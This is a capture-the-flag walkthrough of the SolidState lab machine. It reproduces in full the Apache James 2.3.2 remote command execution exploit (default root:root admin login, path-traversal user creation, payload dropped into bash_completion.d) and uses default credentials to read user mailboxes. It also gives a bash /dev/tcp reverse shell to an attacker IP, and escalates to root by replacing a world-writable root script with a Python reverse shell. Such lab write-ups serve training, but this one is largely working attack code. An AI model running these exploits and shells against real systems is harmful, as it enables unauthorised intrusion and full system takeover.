10.10.10.51 - SOLID STATE - Apache James, SUID
Apache James exploitation and SUID binary privesc
Summary:
vulnerable software : Apache James Server, POC system vulnerable : 10.10.10.51 vulnerability explanation :The vulnerability arises from an insecure default configuration and a lack of input validation in the server’s user creation mechanism; it allows an attacker to en queue commands to execute when a user signs into the machine. severity : critical
Enumeration
1
nmap 10.10.10.51 -sV -sC
Copied!
1
====================================================================================
2
RUNNING NMAP TCP PORT ANALYSIS
3
====================================================================================
4
5
[+] Running only TCP port scan
6
7
Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-01-31 17:33 GMT
8
Nmap scan report for 10.10.10.51
9
Host is up (0.11s latency).
10
11
PORT STATE SERVICE VERSION
12
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
13
25/tcp open smtp JAMES smtpd 2.3.2
14
80/tcp open http Apache httpd 2.4.25 ((Debian))
15
110/tcp open pop3 JAMES pop3d 2.3.2
16
119/tcp open nntp JAMES nntpd (posting ok)
17
4555/tcp open james-admin JAMES Remote Admin 2.3.2
18
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
19
Aggressive OS guesses: Linux 3.13 (95%), Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 4.2 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 4.9 (95%), Linux 3.12 (94%), Linux 3.8 - 3.11 (94%)
20
No exact OS matches for host (test conditions non-ideal).
21
Network Distance: 2 hops
22
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
23
24
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
25
Nmap done: 1 IP address (1 host up) scanned in 18.11 seconds
26
Copied!
By default, the Apache James administrator has the same username and password, “root.” Using these credentials gives us access to the administration console, where we can create new users with the “adduser” command
Reference
With this information at hand we used Netcat to login to the administrative console of James Mail Server:
Once logged in with default root:root credentials we could amend the passwords for the users:
With the use of Telnet, we gained access to the email accounts, where we could read confidential information
1
└──╼ $telnet 10.10.10.51 110
2
Trying 10.10.10.51...
3
Connected to 10.10.10.51.
4
Escape character is '^]'.
5
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
6
USER mindy
7
+OK
8
PASS mindy
9
+OK Welcome mindy
10
list
11
+OK 2 1945
12
1 1109
13
2 836
14
.
15
RETR 1
16
+OK Message follows
17
Return-Path: <[email protected]>
18
Message-ID: <[email protected]>
19
MIME-Version: 1.0
20
Content-Type: text/plain; charset=us-ascii
21
Content-Transfer-Encoding: 7bit
22
Delivered-To: [email protected]
23
Received: from 192.168.11.142 ([192.168.11.142])
24
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
26
Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
27
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
29
Subject: Welcome
30
31
Dear Mindy,
32
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
33
34
We are looking forward to you joining our team and your success at Solid State Security.
35
36
Respectfully,
37
James
38
.
39
RETR 2
40
+OK Message follows
41
Return-Path: <[email protected]>
42
Message-ID: <[email protected]>
43
MIME-Version: 1.0
44
Content-Type: text/plain; charset=us-ascii
45
Content-Transfer-Encoding: 7bit
46
Delivered-To: [email protected]
47
Received: from 192.168.11.142 ([192.168.11.142])
48
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
50
Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
51
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
53
Subject: Your Access
54
55
Dear Mindy,
56
57
58
Here are your ssh credentials to access the system. Remember to reset your password after your first login.
59
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
60
61
username: mindy
63
64
Respectfully,
65
James
Copied!
Successful login with provided credentials:
Vulnerability exploitation:
1
searchsploit Apache James
Copied!
Source of 35513.py , Apache James Server 2.3.2 - Remote Command Execution:
1
#!/usr/bin/python
2
#
3
# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
4
# Date: 16\10\2014
5
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
6
# Vendor Homepage: http://james.apache.org/server/
7
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
8
# Version: Apache James Server 2.3.2
9
# Tested on: Ubuntu, Debian
10
# Info: This exploit works on default installation of Apache James Server 2.3.2
11
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d
12
13
import socket
14
import sys
15
import time
16
17
# specify payload
18
#payload = 'touch /tmp/proof.txt' # to exploit on any user
19
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
20
# credentials to James Remote Administration Tool (Default - root/root)
21
user = 'root'
22
pwd = 'root'
23
24
if len(sys.argv) != 2:
25
sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
26
sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
27
sys.exit(1)
28
29
ip = sys.argv[1]
30
31
def recv(s):
32
s.recv(1024)
33
time.sleep(0.2)
34
35
try:
36
print "[+]Connecting to James Remote Administration Tool..."
37
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
38
s.connect((ip,4555))
39
s.recv(1024)
40
s.send(user + "\n")
41
s.recv(1024)
42
s.send(pwd + "\n")
43
s.recv(1024)
44
print "[+]Creating user..."
45
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
46
s.recv(1024)
47
s.send("quit\n")
48
s.close()
49
50
print "[+]Connecting to James SMTP server..."
51
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
52
s.connect((ip,25))
53
s.send("ehlo [email protected]\r\n")
54
recv(s)
55
print "[+]Sending payload..."
56
s.send("mail from: <'@team.pl>\r\n")
57
recv(s)
58
# also try s.send("rcpt to: <../../../../../../../../etc/[email protected]>\r\n") if the recipient cannot be found
59
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
60
recv(s)
61
s.send("data\r\n")
62
recv(s)
63
s.send("From: [email protected]\r\n")
64
s.send("\r\n")
65
s.send("'\n")
66
s.send(payload + "\n")
67
s.send("\r\n.\r\n")
68
recv(s)
69
s.send("quit\r\n")
70
recv(s)
71
s.close()
72
print "[+]Done! Payload will be executed once somebody logs in."
73
except:
74
print "Connection failed."
Copied!
Payload option does require a modification. Current settings will leave proof.txt in a tmp folder, if we want to gain a reverse shell, we could use netcat with an option -e to receive back a shell. However in this case we cannot be 100% certain this option is available thus we need to use more certain solution:
1
/bin/bash -i >& /dev/tcp/10.10.14.20/3333 0>&1
Copied!
Once this oneliner in setup as payload, reverse shell from bash should come back to us:
Exploit relies on a user logging in to the system and with gathered credentials we can do just that:
1
└──╼ $ssh [email protected]
2
[email protected]'s password:
3
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686
4
5
The programs included with the Debian GNU/Linux system are free software;
6
the exact distribution terms for each program are described in the
7
individual files in /usr/share/doc/*/copyright.
8
9
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
10
permitted by applicable law.
11
Last login: Thu Jan 31 12:59:22 2019 from 10.10.14.20
12
-rbash: #x27;\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317ݬ\003': command not found
13
-rbash: L: command not found
14
-rbash: attributestLjava/util/HashMap: No such file or directory
15
-rbash: L
16
errorMessagetLjava/lang/String: No such file or directory
17
-rbash: L
18
lastUpdatedtLjava/util/Date: No such file or directory
19
-rbash: Lmessaget!Ljavax/mail/internet/MimeMessage: No such file or directory
20
-rbash: #x27;L\004nameq~\002L': command not found
21
-rbash: recipientstLjava/util/Collection: No such file or directory
22
-rbash: L: command not found
23
-rbash: #x27;remoteAddrq~\002L': command not found
24
-rbash: remoteHostq~LsendertLorg/apache/mailet/MailAddress: No such file or directory
25
-rbash: #x27;\221\222\204m\307{\244\002\003I\003posL\004hostq~\002L\004userq~\002xp': command not found
26
-rbash: #x27;L\005stateq~\002xpsr\035org.apache.mailet.MailAddress': command not found
27
-rbash: @team.pl>
28
Message-ID: <[email protected]>
29
MIME-Version: 1.0
30
Content-Type: text/plain; charset=us-ascii
31
Content-Transfer-Encoding: 7bit
32
Delivered-To: ../../../../../../../../etc/[email protected]
33
Received: from 10.10.14.20 ([10.10.14.20])
34
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 92
35
for <../../../../../../../../etc/[email protected]>;
36
Thu, 31 Jan 2019 13:20:23 -0500 (EST)
37
Date: Thu, 31 Jan 2019 13:20:23 -0500 (EST)
39
40
: No such file or directory
41
Copied!
Privilege Escalation
One of the methods of escalating privilege on a Linux system is by modifying files running as root that also have a writable access. We can look for these files with:
1
/usr/bin/find / -type f -perm 0777 2>/dev/null -user root -exec ls -lah {} \;
Copied!
Help:
/usr/bin/find - we are going to use find utility to look for interesting files
/ - tells us to look from root directory
-type f - look for regular file
-perm 0777 - find files with read, write and execute permissions
2>/dev/null - redirect error messages to stderr (Stderr, also known as standard error, is the default file descriptor where a process can write error messages.)
-user root - files owned by root
-exec ls -lah {} \: - execute file details after a successful find.
Reference:
When we want to set permissions, we just add up the number. For example, to set the permissions to read and write, we will use ‘6’ (4 + 2) for the permission. For read, write and execute, we will use ‘7’ (4 + 2 + 1) for the permission. Here’s the different permutation:
0 – no permission 1 – execute 2 – write 3 – write and execute 4 – read 5 – read and execute 6 – read and write 7 – read, write, and execute
What about the 3 digits ‘777’? Well, the first digit is assigned to the Owner, the second digit is assigned to the Group and the third digit is assigned to the Others. So for a file with ‘777’ permission, everyone can read, write and execute the file.
  • 777 – Everyone can read write and execute. In a web server, it is not advisable to set ‘777’ permission for your files and folders as it allows anyone to add malicious code to your server. However, in some cases, you will need to set the 777 permissions before you can upload any file to the server (For example, uploading images in WordPress)
1
/usr/bin/find / -type f -perm 0777 2>/dev/null -user root -exec ls -lah {} \;
2
-rwxrwxrwx 1 root root 105 Aug 22 2017 /opt/tmp.py
Copied!
One file identified, with the code:
1
cat /opt/tmp.py
2
#!/usr/bin/env python
3
import os
4
import sys
5
try:
6
os.system('rm -r /tmp/* ')
7
except:
8
sys.exit()
Copied!
We can conclude that it is a script that runs with root privilege that cleans /tmp folder when executed. Low privilege user has read, write and execute access to this file therefore can place any command he wishes. In this case reverse shell was placed in tmp.py connecting victim back to the attacker when executed:
1
#!/usr/bin/python2
2
import os
3
import pty
4
import socket
5
6
lhost = "10.10.14.20" # XXX: CHANGEME
7
lport = 4433 # XXX: CHANGEME
8
9
def main():
10
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
11
s.connect((lhost, lport))
12
os.dup2(s.fileno(),0)
13
os.dup2(s.fileno(),1)
14
os.dup2(s.fileno(),2)
15
os.putenv("HISTFILE",'/dev/null')
16
pty.spawn("/bin/bash")
17
s.close()
18
19
if __name__ == "__main__":
20
main()
21
Copied!
Successful reverse shell with root level access after few moments of waiting:
Copy link